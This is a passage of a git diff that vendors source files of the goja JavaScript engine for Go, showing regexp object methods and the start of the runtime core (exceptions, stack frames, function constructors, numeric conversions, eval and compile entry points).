index < captureCount; index++ { + offset := index << 1 + if result[offset] >= 0 && result[offset+1] >= lowerBound { + valueArray[index] = target.Substring(result[offset], result[offset+1]) + lowerBound = result[offset] + } else { + valueArray[index] = _undefined + } + } + match := r.val.runtime.newArrayValues(valueArray) + match.self.setOwnStr("input", target, false) + match.self.setOwnStr("index", intToValue(int64(matchIndex)), false) + return match +} + +func (r *regexpObject) getLastIndex() int64 { + lastIndex := toLength(r.getStr("lastIndex", nil)) + if !r.pattern.global && !r.pattern.sticky { + return 0 + } + return lastIndex +} + +func (r *regexpObject) execRegexp(target String) (match bool, result []int) { + index := r.getLastIndex() + if index >= 0 && index <= int64(target.Length()) { + result = r.pattern.findSubmatchIndex(target, int(index)) + } + match = len(result) > 0 && (!r.pattern.sticky || int64(result[0]) == index) + + if r.pattern.global || r.pattern.sticky { + var newLastIndex int64 + if match { + newLastIndex = int64(result[1]) + } + r.setOwnStr("lastIndex", intToValue(newLastIndex), true) + } + + return +} + +func (r *regexpObject) exec(target String) Value { + match, result := r.execRegexp(target) + if match { + return r.execResultToArray(target, result) + } + return _null +} + +func (r *regexpObject) test(target String) bool { + match, _ := r.execRegexp(target) + return match +} + +func (r *regexpObject) clone() *regexpObject { + r1 := r.val.runtime.newRegexpObject(r.prototype) + r1.source = r.source + r1.pattern = r.pattern + + return r1 +} + +func (r *regexpObject) init() { + r.baseObject.init() + r.standard = true + r._putProp("lastIndex", intToValue(0), true, false, false) +} + +func (r *regexpObject) setProto(proto *Object, throw bool) bool { + res := r.baseObject.setProto(proto, throw) + if res { + r.standard = false + } + return res +} + +func (r *regexpObject) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + res := r.baseObject.defineOwnPropertyStr(name, desc, throw) + if res { + r.standard = false + } + return res +} + +func (r *regexpObject) defineOwnPropertySym(name *Symbol, desc PropertyDescriptor, throw bool) bool { + res := r.baseObject.defineOwnPropertySym(name, desc, throw) + if res && r.standard { + switch name { + case SymMatch, SymMatchAll, SymSearch, SymSplit, SymReplace: + r.standard = false + } + } + return res +} + +func (r *regexpObject) deleteStr(name unistring.String, throw bool) bool { + res := r.baseObject.deleteStr(name, throw) + if res { + r.standard = false + } + return res +} + +func (r *regexpObject) setOwnStr(name unistring.String, value Value, throw bool) bool { + res := r.baseObject.setOwnStr(name, value, throw) + if res && r.standard && name == "exec" { + r.standard = false + } + return res +} + +func (r *regexpObject) setOwnSym(name *Symbol, value Value, throw bool) bool { + res := r.baseObject.setOwnSym(name, value, throw) + if res && r.standard { + switch name { + case SymMatch, SymMatchAll, SymSearch, SymSplit, SymReplace: + r.standard = false + } + } + return res +} diff --git a/backend/vendor/github.com/dop251/goja/runtime.go b/backend/vendor/github.com/dop251/goja/runtime.go new file mode 100644 index 0000000..eadb8b3 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/runtime.go @@ -0,0 +1,3234 @@ +package goja + +import ( + "bytes" + "errors" + "fmt" + "go/ast" + "hash/maphash" + "math" + "math/big" + "math/bits" + "math/rand" + "reflect" + "runtime" + "strconv" + "time" + + "golang.org/x/text/collate" + + js_ast "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/parser" + "github.com/dop251/goja/unistring" +) + +const ( + sqrt1_2 float64 = math.Sqrt2 / 2 + + deoptimiseRegexp = false +) + +var ( + typeCallable = reflect.TypeOf(Callable(nil)) + typeValue = reflect.TypeOf((*Value)(nil)).Elem() + typeObject = reflect.TypeOf((*Object)(nil)) + typeTime = reflect.TypeOf(time.Time{}) + typeBigInt = reflect.TypeOf((*big.Int)(nil)) + typeBytes = reflect.TypeOf(([]byte)(nil)) +) + +type iterationKind int + +const ( + iterationKindKey iterationKind = iota + iterationKindValue + iterationKindKeyValue +) + +type global struct { + stash stash + + Object *Object + Array *Object + Function *Object + String *Object + Number *Object + BigInt *Object + Boolean *Object + RegExp *Object + Date *Object + Symbol *Object + Proxy *Object + Reflect *Object + Promise *Object + Math *Object + JSON *Object + + AsyncFunction *Object + + ArrayBuffer *Object + DataView *Object + TypedArray *Object + Uint8Array *Object + Uint8ClampedArray *Object + Int8Array *Object + Uint16Array *Object + Int16Array *Object + Uint32Array *Object + Int32Array *Object + Float32Array *Object + Float64Array *Object + BigInt64Array *Object + BigUint64Array *Object + + WeakSet *Object + WeakMap *Object + Map *Object + Set *Object + + Error *Object + AggregateError *Object + TypeError *Object + ReferenceError *Object + SyntaxError *Object + RangeError *Object + EvalError *Object + URIError *Object + + GoError *Object + + ObjectPrototype *Object + ArrayPrototype *Object + NumberPrototype *Object + BigIntPrototype *Object + StringPrototype *Object + BooleanPrototype *Object + FunctionPrototype *Object + RegExpPrototype *Object + DatePrototype *Object + SymbolPrototype *Object + + ArrayBufferPrototype *Object + DataViewPrototype *Object + TypedArrayPrototype *Object + WeakSetPrototype *Object + WeakMapPrototype *Object + MapPrototype *Object + SetPrototype *Object + PromisePrototype *Object + + GeneratorFunctionPrototype *Object + GeneratorFunction *Object + GeneratorPrototype *Object + + AsyncFunctionPrototype *Object + + IteratorPrototype *Object + ArrayIteratorPrototype *Object + MapIteratorPrototype *Object + SetIteratorPrototype *Object + StringIteratorPrototype *Object + RegExpStringIteratorPrototype *Object + + ErrorPrototype *Object + + Eval *Object + + thrower *Object + + stdRegexpProto *guardedObject + + weakSetAdder *Object + weakMapAdder *Object + mapAdder *Object + setAdder *Object + arrayValues *Object + arrayToString *Object + + stringproto_trimEnd *Object + stringproto_trimStart *Object + + parseFloat, parseInt *Object + + typedArrayValues *Object +} + +type Flag int + +const ( + FLAG_NOT_SET Flag = iota + FLAG_FALSE + FLAG_TRUE +) + +func (f Flag) Bool() bool { + return f == FLAG_TRUE +} + +func ToFlag(b bool) Flag { + if b { + return FLAG_TRUE + } + return FLAG_FALSE +} + +type RandSource func() float64 + +type Now func() time.Time + +type Runtime struct { + global global + globalObject *Object + stringSingleton *stringObject + rand RandSource + now Now + _collator *collate.Collator + parserOptions []parser.Option + + symbolRegistry map[unistring.String]*Symbol + + fieldsInfoCache map[reflect.Type]*reflectFieldsInfo + methodsInfoCache map[reflect.Type]*reflectMethodsInfo + + fieldNameMapper FieldNameMapper + + vm *vm + hash *maphash.Hash + idSeq uint64 + + jobQueue []func() + + promiseRejectionTracker PromiseRejectionTracker + asyncContextTracker AsyncContextTracker + + // Stack for tracking objects currently being converted to string + // to detect and handle circular references + toStringStack []*Object +} + +type StackFrame struct { + prg *Program + funcName unistring.String + pc int +} + +func (f *StackFrame) SrcName() string { + if f.prg == nil { + return "" + } + return f.prg.src.Name() +} + +func (f *StackFrame) FuncName() string { + if f.funcName == "" && f.prg == nil { + return "" + } + if f.funcName == "" { + return "" + } + return f.funcName.String() +} + +func (f *StackFrame) Position() file.Position { + if f.prg == nil || f.prg.src == nil { + return file.Position{} + } + return f.prg.src.Position(f.prg.sourceOffset(f.pc)) +} + +func (f *StackFrame) WriteToValueBuilder(b *StringBuilder) { + if f.prg != nil { + if n := f.prg.funcName; n != "" { + b.WriteString(stringValueFromRaw(n)) + b.writeASCII(" (") + } + p := f.Position() + if p.Filename != "" { + b.WriteUTF8String(p.Filename) + } else { + b.writeASCII("") + } + b.WriteRune(':') + b.writeASCII(strconv.Itoa(p.Line)) + b.WriteRune(':') + b.writeASCII(strconv.Itoa(p.Column)) + b.WriteRune('(') + b.writeASCII(strconv.Itoa(f.pc)) + b.WriteRune(')') + if f.prg.funcName != "" { + b.WriteRune(')') + } + } else { + if f.funcName != "" { + b.WriteString(stringValueFromRaw(f.funcName)) + b.writeASCII(" (") + } + b.writeASCII("native") + if f.funcName != "" { + b.WriteRune(')') + } + } +} + +func (f *StackFrame) Write(b *bytes.Buffer) { + if f.prg != nil { + if n := f.prg.funcName; n != "" { + b.WriteString(n.String()) + b.WriteString(" (") + } + p := f.Position() + if p.Filename != "" { + b.WriteString(p.Filename) + } else { + b.WriteString("") + } + b.WriteByte(':') + b.WriteString(strconv.Itoa(p.Line)) + b.WriteByte(':') + b.WriteString(strconv.Itoa(p.Column)) + b.WriteByte('(') + b.WriteString(strconv.Itoa(f.pc)) + b.WriteByte(')') + if f.prg.funcName != "" { + b.WriteByte(')') + } + } else { + if f.funcName != "" { + b.WriteString(f.funcName.String()) + b.WriteString(" (") + } + b.WriteString("native") + if f.funcName != "" { + b.WriteByte(')') + } + } +} + +// An un-catchable exception is not catchable by try/catch statements (finally is not executed either), +// but it is returned as an error to a Go caller rather than causing a panic. +type uncatchableException interface { + error + _uncatchableException() +} + +type Exception struct { + val Value + stack []StackFrame +} + +type baseUncatchableException struct { + Exception +} + +func (e *baseUncatchableException) _uncatchableException() {} + +type InterruptedError struct { + baseUncatchableException + iface interface{} +} + +func (e *InterruptedError) Unwrap() error { + if err, ok := e.iface.(error); ok { + return err + } + return nil +} + +type StackOverflowError struct { + baseUncatchableException +} + +func (e *InterruptedError) Value() interface{} { + return e.iface +} + +func (e *InterruptedError) String() string { + if e == nil { + return "" + } + var b bytes.Buffer + if e.iface != nil { + b.WriteString(fmt.Sprint(e.iface)) + b.WriteByte('\n') + } + e.writeFullStack(&b) + return b.String() +} + +func (e *InterruptedError) Error() string { + if e == nil || e.iface == nil { + return "" + } + var b bytes.Buffer + b.WriteString(fmt.Sprint(e.iface)) + e.writeShortStack(&b) + return b.String() +} + +func (e *Exception) writeFullStack(b *bytes.Buffer) { + for _, frame := range e.stack { + b.WriteString("\tat ") + frame.Write(b) + b.WriteByte('\n') + } +} + +func (e *Exception) writeShortStack(b *bytes.Buffer) { + if len(e.stack) > 0 && (e.stack[0].prg != nil || e.stack[0].funcName != "") { + b.WriteString(" at ") + e.stack[0].Write(b) + } +} + +func (e *Exception) String() string { + if e == nil { + return "" + } + var b bytes.Buffer + if e.val != nil { + b.WriteString(e.val.String()) + b.WriteByte('\n') + } + e.writeFullStack(&b) + return b.String() +} + +func (e *Exception) Error() string { + if e == nil { + return "" + } + var b bytes.Buffer + if e.val != nil { + b.WriteString(e.val.String()) + } + e.writeShortStack(&b) + return b.String() +} + +func (e *Exception) Value() Value { + return e.val +} + +func (e *Exception) Unwrap() error { + if obj, ok := e.val.(*Object); ok { + if obj.runtime.getGoError().self.hasInstance(obj) { + if val := obj.Get("value"); val != nil { + e1, _ := val.Export().(error) + return e1 + } + } + } + return nil +} + +func (e *Exception) Stack() []StackFrame { + return e.stack +} + +func (r *Runtime) createIterProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.global.ObjectPrototype, classObject) + + o._putSym(SymIterator, valueProp(r.newNativeFunc(r.returnThis, "[Symbol.iterator]", 0), true, false, true)) + return o +} + +func (r *Runtime) getIteratorPrototype() *Object { + var o *Object + if o = r.global.IteratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.IteratorPrototype = o + o.self = r.createIterProto(o) + } + return o +} + +func (r *Runtime) init() { + r.rand = rand.Float64 + r.now = time.Now + + r.global.ObjectPrototype = &Object{runtime: r} + r.newTemplatedObject(getObjectProtoTemplate(), r.global.ObjectPrototype) + + r.globalObject = &Object{runtime: r} + r.newTemplatedObject(getGlobalObjectTemplate(), r.globalObject) + + r.vm = &vm{ + r: r, + } + r.vm.init() +} + +func (r *Runtime) typeErrorResult(throw bool, args ...interface{}) { + if throw { + panic(r.NewTypeError(args...)) + } +} + +func (r *Runtime) newError(typ *Object, format string, args ...interface{}) Value { + var msg string + if len(args) > 0 { + msg = fmt.Sprintf(format, args...) + } else { + msg = format + } + return r.builtin_new(typ, []Value{newStringValue(msg)}) +} + +func (r *Runtime) throwReferenceError(name unistring.String) { + panic(r.newReferenceError(name)) +} + +func (r *Runtime) newReferenceError(name unistring.String) Value { + return r.newError(r.getReferenceError(), "%s is not defined", name) +} + +func (r *Runtime) newSyntaxError(msg string, offset int) Value { + return r.builtin_new(r.getSyntaxError(), []Value{newStringValue(msg)}) +} + +func newBaseObjectObj(obj, proto *Object, class string) *baseObject { + o := &baseObject{ + class: class, + val: obj, + extensible: true, + prototype: proto, + } + obj.self = o + o.init() + return o +} + +func newGuardedObj(proto *Object, class string) *guardedObject { + return &guardedObject{ + baseObject: baseObject{ + class: class, + extensible: true, + prototype: proto, + }, + } +} + +func (r *Runtime) newBaseObject(proto *Object, class string) (o *baseObject) { + v := &Object{runtime: r} + return newBaseObjectObj(v, proto, class) +} + +func (r *Runtime) newGuardedObject(proto *Object, class string) (o *guardedObject) { + v := &Object{runtime: r} + o = newGuardedObj(proto, class) + v.self = o + o.val = v + o.init() + return +} + +func (r *Runtime) NewObject() (v *Object) { + return r.newBaseObject(r.global.ObjectPrototype, classObject).val +} + +// CreateObject creates an object with given prototype. Equivalent of Object.create(proto). +func (r *Runtime) CreateObject(proto *Object) *Object { + return r.newBaseObject(proto, classObject).val +} + +func (r *Runtime) NewArray(items ...interface{}) *Object { + values := make([]Value, len(items)) + for i, item := range items { + values[i] = r.ToValue(item) + } + return r.newArrayValues(values) +} + +func (r *Runtime) NewTypeError(args ...interface{}) *Object { + msg := "" + if len(args) > 0 { + f, _ := args[0].(string) + msg = fmt.Sprintf(f, args[1:]...) + } + return r.builtin_new(r.getTypeError(), []Value{newStringValue(msg)}) +} + +func (r *Runtime) NewGoError(err error) *Object { + e := r.newError(r.getGoError(), err.Error()).(*Object) + e.Set("value", err) + return e +} + +func (r *Runtime) newFunc(name unistring.String, length int, strict bool) (f *funcObject) { + f = &funcObject{} + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.val.self = f + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) newAsyncFunc(name unistring.String, length int, strict bool) (f *asyncFuncObject) { + f = &asyncFuncObject{} + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.class = classFunction + f.prototype = r.getAsyncFunctionPrototype() + f.val.self = f + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) newGeneratorFunc(name unistring.String, length int, strict bool) (f *generatorFuncObject) { + f = &generatorFuncObject{} + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.class = classFunction + f.prototype = r.getGeneratorFunctionPrototype() + f.val.self = f + f.init(name, intToValue(int64(length))) + f._putProp("prototype", r.newBaseObject(r.getGeneratorPrototype(), classObject).val, true, false, false) + return +} + +func (r *Runtime) newClassFunc(name unistring.String, length int, proto *Object, derived bool) (f *classFuncObject) { + v := &Object{runtime: r} + + f = &classFuncObject{} + f.class = classFunction + f.val = v + f.extensible = true + f.strict = true + f.derived = derived + v.self = f + f.prototype = proto + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) initBaseJsFunction(f *baseJsFuncObject, strict bool) { + v := &Object{runtime: r} + + f.class = classFunction + f.val = v + f.extensible = true + f.strict = strict + f.prototype = r.getFunctionPrototype() +} + +func (r *Runtime) newMethod(name unistring.String, length int, strict bool) (f *methodFuncObject) { + f = &methodFuncObject{} + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.val.self = f + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) newGeneratorMethod(name unistring.String, length int, strict bool) (f *generatorMethodFuncObject) { + f = &generatorMethodFuncObject{} + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.prototype = r.getGeneratorFunctionPrototype() + f.val.self = f + f.init(name, intToValue(int64(length))) + f._putProp("prototype", r.newBaseObject(r.getGeneratorPrototype(), classObject).val, true, false, false) + return +} + +func (r *Runtime) newAsyncMethod(name unistring.String, length int, strict bool) (f *asyncMethodFuncObject) { + f = &asyncMethodFuncObject{} + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.val.self = f + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) initArrowFunc(f *arrowFuncObject, strict bool) { + r.initBaseJsFunction(&f.baseJsFuncObject, strict) + f.newTarget = r.vm.newTarget +} + +func (r *Runtime) newArrowFunc(name unistring.String, length int, strict bool) (f *arrowFuncObject) { + f = &arrowFuncObject{} + r.initArrowFunc(f, strict) + f.val.self = f + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) newAsyncArrowFunc(name unistring.String, length int, strict bool) (f *asyncArrowFuncObject) { + f = &asyncArrowFuncObject{} + r.initArrowFunc(&f.arrowFuncObject, strict) + f.class = classObject + f.prototype = r.getAsyncFunctionPrototype() + f.val.self = f + f.init(name, intToValue(int64(length))) + return +} + +func (r *Runtime) newNativeConstructor(call func(ConstructorCall) *Object, name unistring.String, length int64) *Object { + v := &Object{runtime: r} + + f := &nativeFuncObject{ + baseFuncObject: baseFuncObject{ + baseObject: baseObject{ + class: classFunction, + val: v, + extensible: true, + prototype: r.getFunctionPrototype(), + }, + }, + } + + f.f = func(c FunctionCall) Value { + thisObj, _ := c.This.(*Object) + if thisObj != nil { + res := call(ConstructorCall{ + This: thisObj, + Arguments: c.Arguments, + }) + if res == nil { + return _undefined + } + return res + } + return f.defaultConstruct(call, c.Arguments, nil) + } + + f.construct = func(args []Value, newTarget *Object) *Object { + return f.defaultConstruct(call, args, newTarget) + } + + v.self = f + f.init(name, intToValue(length)) + + proto := r.NewObject() + proto.self._putProp("constructor", v, true, false, true) + f._putProp("prototype", proto, true, false, false) + + return v +} + +func (r *Runtime) newNativeConstructOnly(v *Object, ctor func(args []Value, newTarget *Object) *Object, defaultProto *Object, name unistring.String, length int64) *nativeFuncObject { + return r.newNativeFuncAndConstruct(v, func(call FunctionCall) Value { + return ctor(call.Arguments, nil) + }, + func(args []Value, newTarget *Object) *Object { + if newTarget == nil { + newTarget = v + } + return ctor(args, newTarget) + }, defaultProto, name, intToValue(length)) +} + +func (r *Runtime) newNativeFuncAndConstruct(v *Object, call func(call FunctionCall) Value, ctor func(args []Value, newTarget *Object) *Object, defaultProto *Object, name unistring.String, l Value) *nativeFuncObject { + if v == nil { + v = &Object{runtime: r} + } + + f := &nativeFuncObject{ + baseFuncObject: baseFuncObject{ + baseObject: baseObject{ + class: classFunction, + val: v, + extensible: true, + prototype: r.getFunctionPrototype(), + }, + }, + f: call, + construct: ctor, + } + v.self = f + f.init(name, l) + if defaultProto != nil { + f._putProp("prototype", defaultProto, false, false, false) + } + + return f +} + +func (r *Runtime) newNativeFunc(call func(FunctionCall) Value, name unistring.String, length int) *Object { + v := &Object{runtime: r} + + f := &nativeFuncObject{ + baseFuncObject: baseFuncObject{ + baseObject: baseObject{ + class: classFunction, + val: v, + extensible: true, + prototype: r.getFunctionPrototype(), + }, + }, + f: call, + } + v.self = f + f.init(name, intToValue(int64(length))) + return v +} + +func (r *Runtime) newWrappedFunc(value reflect.Value) *Object { + + v := &Object{runtime: r} + + f := &wrappedFuncObject{ + nativeFuncObject: nativeFuncObject{ + baseFuncObject: baseFuncObject{ + baseObject: baseObject{ + class: classFunction, + val: v, + extensible: true, + prototype: r.getFunctionPrototype(), + }, + }, + f: r.wrapReflectFunc(value), + }, + wrapped: value, + } + v.self = f + name := unistring.NewFromString(runtime.FuncForPC(value.Pointer()).Name()) + f.init(name, intToValue(int64(value.Type().NumIn()))) + return v +} + +func (r *Runtime) newNativeFuncConstructObj(v *Object, construct func(args []Value, proto *Object) *Object, name unistring.String, proto *Object, length int) *nativeFuncObject { + f := &nativeFuncObject{ + baseFuncObject: baseFuncObject{ + baseObject: baseObject{ + class: classFunction, + val: v, + extensible: true, + prototype: r.getFunctionPrototype(), + }, + }, + f: r.constructToCall(construct, proto), + construct: r.wrapNativeConstruct(construct, v, proto), + } + + f.init(name, intToValue(int64(length))) + if proto != nil { + f._putProp("prototype", proto, false, false, false) + } + return f +} + +func (r *Runtime) newNativeFuncConstruct(v *Object, construct func(args []Value, proto *Object) *Object, name unistring.String, prototype *Object, length int64) *Object { + return r.newNativeFuncConstructProto(v, construct, name, prototype, r.getFunctionPrototype(), length) +} + +func (r *Runtime) newNativeFuncConstructProto(v *Object, construct func(args []Value, proto *Object) *Object, name unistring.String, prototype, proto *Object, length int64) *Object { + f := &nativeFuncObject{} + f.class = classFunction + f.val = v + f.extensible = true + v.self = f + f.prototype = proto + f.f = r.constructToCall(construct, prototype) + f.construct = r.wrapNativeConstruct(construct, v, prototype) + f.init(name, intToValue(length)) + if prototype != nil { + f._putProp("prototype", prototype, false, false, false) + } + return v +} + +func (r *Runtime) newPrimitiveObject(value Value, proto *Object, class string) *Object { + v := &Object{runtime: r} + + o := &primitiveValueObject{} + o.class = class + o.val = v + o.extensible = true + v.self = o + o.prototype = proto + o.pValue = value + o.init() + return v +} + +func (r *Runtime) builtin_Number(call FunctionCall) Value { + if len(call.Arguments) > 0 { + switch t := call.Arguments[0].(type) { + case *Object: + primValue := t.toPrimitiveNumber() + if bigint, ok := primValue.(*valueBigInt); ok { + return intToValue((*big.Int)(bigint).Int64()) + } + return primValue.ToNumber() + case *valueBigInt: + return intToValue((*big.Int)(t).Int64()) + default: + return t.ToNumber() + } + } else { + return valueInt(0) + } +} + +func (r *Runtime) builtin_newNumber(args []Value, proto *Object) *Object { + var v Value + if len(args) > 0 { + switch t := args[0].(type) { + case *Object: + primValue := t.toPrimitiveNumber() + if bigint, ok := primValue.(*valueBigInt); ok { + v = intToValue((*big.Int)(bigint).Int64()) + } else { + v = primValue.ToNumber() + } + case *valueBigInt: + v = intToValue((*big.Int)(t).Int64()) + default: + v = t.ToNumber() + } + } else { + v = intToValue(0) + } + return r.newPrimitiveObject(v, proto, classNumber) +} + +func (r *Runtime) builtin_Boolean(call FunctionCall) Value { + if len(call.Arguments) > 0 { + if call.Arguments[0].ToBoolean() { + return valueTrue + } else { + return valueFalse + } + } else { + return valueFalse + } +} + +func (r *Runtime) builtin_newBoolean(args []Value, proto *Object) *Object { + var v Value + if len(args) > 0 { + if args[0].ToBoolean() { + v = valueTrue + } else { + v = valueFalse + } + } else { + v = valueFalse + } + return r.newPrimitiveObject(v, proto, classBoolean) +} + +func (r *Runtime) builtin_new(construct *Object, args []Value) *Object { + return r.toConstructor(construct)(args, construct) +} + +func (r *Runtime) builtin_thrower(call FunctionCall) Value { + obj := r.toObject(call.This) + strict := true + switch fn := obj.self.(type) { + case *funcObject: + strict = fn.strict + } + r.typeErrorResult(strict, "'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them") + return nil +} + +func (r *Runtime) eval(srcVal String, direct, strict bool) Value { + src := escapeInvalidUtf16(srcVal) + vm := r.vm + inGlobal := true + if direct { + for s := vm.stash; s != nil; s = s.outer { + if s.isVariable() { + inGlobal = false + break + } + } + } + vm.pushCtx() + funcObj := _undefined + if !direct { + vm.stash = &r.global.stash + vm.privEnv = nil + } else { + if sb := vm.sb; sb > 0 { + funcObj = vm.stack[sb-1] + } + } + p, err := r.compile("", src, strict, inGlobal, r.vm) + if err != nil { + panic(err) + } + + vm.prg = p + vm.pc = 0 + vm.args = 0 + vm.result = _undefined + vm.push(funcObj) + vm.sb = vm.sp + vm.push(nil) // this + ex := vm.runTry() + retval := vm.result + vm.popCtx() + if ex != nil { + panic(ex) + } + vm.sp -= 2 + return retval +} + +func (r *Runtime) builtin_eval(call FunctionCall) Value { + if len(call.Arguments) == 0 { + return _undefined + } + if str, ok := call.Arguments[0].(String); ok { + return r.eval(str, false, false) + } + return call.Arguments[0] +} + +func (r *Runtime) constructToCall(construct func(args []Value, proto *Object) *Object, proto *Object) func(call FunctionCall) Value { + return func(call FunctionCall) Value { + return construct(call.Arguments, proto) + } +} + +func (r *Runtime) wrapNativeConstruct(c func(args []Value, proto *Object) *Object, ctorObj, defProto *Object) func(args []Value, newTarget *Object) *Object { + if c == nil { + return nil + } + return func(args []Value, newTarget *Object) *Object { + var proto *Object + if newTarget != nil { + proto = r.getPrototypeFromCtor(newTarget, ctorObj, defProto) + } else { + proto = defProto + } + return c(args, proto) + } +} + +func (r *Runtime) toCallable(v Value) func(FunctionCall) Value { + if call, ok := r.toObject(v).self.assertCallable(); ok { + return call + } + r.typeErrorResult(true, "Value is not callable: %s", v.toString()) + return nil +} + +func (r *Runtime) checkObjectCoercible(v Value) { + switch v.(type) { + case valueUndefined, valueNull: + r.typeErrorResult(true, "Value is not object coercible") + } +} + +func toInt8(v Value) int8 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return int8(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return int8(int64(f)) + } + } + return 0 +} + +func toUint8(v Value) uint8 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return uint8(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return uint8(int64(f)) + } + } + return 0 +} + +func toUint8Clamp(v Value) uint8 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + if i < 0 { + return 0 + } + if i <= 255 { + return uint8(i) + } + return 255 + } + + if num, ok := v.(valueFloat); ok { + num := float64(num) + if !math.IsNaN(num) { + if num < 0 { + return 0 + } + if num > 255 { + return 255 + } + f := math.Floor(num) + f1 := f + 0.5 + if f1 < num { + return uint8(f + 1) + } + if f1 > num { + return uint8(f) + } + r := uint8(f) + if r&1 != 0 { + return r + 1 + } + return r + } + } + return 0 +} + +func toInt16(v Value) int16 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return int16(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return int16(int64(f)) + } + } + return 0 +} + +func toUint16(v Value) uint16 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return uint16(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return uint16(int64(f)) + } + } + return 0 +} + +func toInt32(v Value) int32 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return int32(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return int32(int64(f)) + } + } + return 0 +} + +func toUint32(v Value) uint32 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return uint32(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return uint32(int64(f)) + } + } + return 0 +} + +func toInt64(v Value) int64 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return int64(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return int64(f) + } + } + return 0 +} + +func toUint64(v Value) uint64 { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return uint64(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return uint64(int64(f)) + } + } + return 0 +} + +func toInt(v Value) int { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return int(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return int(f) + } + } + return 0 +} + +func toUint(v Value) uint { + v = v.ToNumber() + if i, ok := v.(valueInt); ok { + return uint(i) + } + + if f, ok := v.(valueFloat); ok { + f := float64(f) + if !math.IsNaN(f) && !math.IsInf(f, 0) { + return uint(int64(f)) + } + } + return 0 +} + +func toFloat32(v Value) float32 { + return float32(v.ToFloat()) +} + +func toLength(v Value) int64 { + if v == nil { + return 0 + } + i := v.ToInteger() + if i < 0 { + return 0 + } + if i >= maxInt { + return maxInt - 1 + } + return i +} + +func (r *Runtime) toLengthUint32(v Value) uint32 { + var intVal int64 +repeat: + switch num := v.(type) { + case valueInt: + intVal = int64(num) + case valueFloat: + if v != _negativeZero { + if i, ok := floatToInt(float64(num)); ok { + intVal = i + } else { + goto fail + } + } + case String: + v = num.ToNumber() + goto repeat + default: + // Legacy behaviour as specified in https://tc39.es/ecma262/#sec-arraysetlength (see the note) + n2 := toUint32(v) + n1 := v.ToNumber() + if f, ok := n1.(valueFloat); ok { + f := float64(f) + if f != 0 || !math.Signbit(f) { + goto fail + } + } + if n1.ToInteger() != int64(n2) { + goto fail + } + return n2 + } + if intVal >= 0 && intVal <= math.MaxUint32 { + return uint32(intVal) + } +fail: + panic(r.newError(r.getRangeError(), "Invalid array length")) +} + +func toIntStrict(i int64) int { + if bits.UintSize == 32 { + if i > math.MaxInt32 || i < math.MinInt32 { + panic(rangeError("Integer value overflows 32-bit int")) + } + } + return int(i) +} + +func toIntClamp(i int64) int { + if bits.UintSize == 32 { + if i > math.MaxInt32 { + return math.MaxInt32 + } + if i < math.MinInt32 { + return math.MinInt32 + } + } + return int(i) +} + +func (r *Runtime) toIndex(v Value) int { + num := v.ToInteger() + if num >= 0 && num < maxInt { + if bits.UintSize == 32 && num >= math.MaxInt32 { + panic(r.newError(r.getRangeError(), "Index %s overflows int", v.String())) + } + return int(num) + } + panic(r.newError(r.getRangeError(), "Invalid index %s", v.String())) +} + +func (r *Runtime) toBoolean(b bool) Value { + if b { + return valueTrue + } else { + return valueFalse + } +} + +// New creates an instance of a Javascript runtime that can be used to run code. Multiple instances may be created and +// used simultaneously, however it is not possible to pass JS values across runtimes. +func New() *Runtime { + r := &Runtime{} + r.init() + return r +} + +// Compile creates an internal representation of the JavaScript code that can be later run using the Runtime.RunProgram() +// method. This representation is not linked to a runtime in any way and can be run in multiple runtimes (possibly +// at the same time). +func Compile(name, src string, strict bool) (*Program, error) { + return compile(name, src, strict, true, nil) +} + +// CompileAST creates an internal representation of the JavaScript code that can be later run using the Runtime.RunProgram() +// method. This representation is not linked to a runtime in any way and can be run in multiple runtimes (possibly +// at the same time). +func CompileAST(prg *js_ast.Program, strict bool) (*Program, error) { + return compileAST(prg, strict, true, nil) +} + +// MustCompile is like Compile but panics if the code cannot be compiled. +// It simplifies safe initialization of global variables holding compiled JavaScript code. +func MustCompile(name, src string, strict bool) *Program { + prg, err := Compile(name, 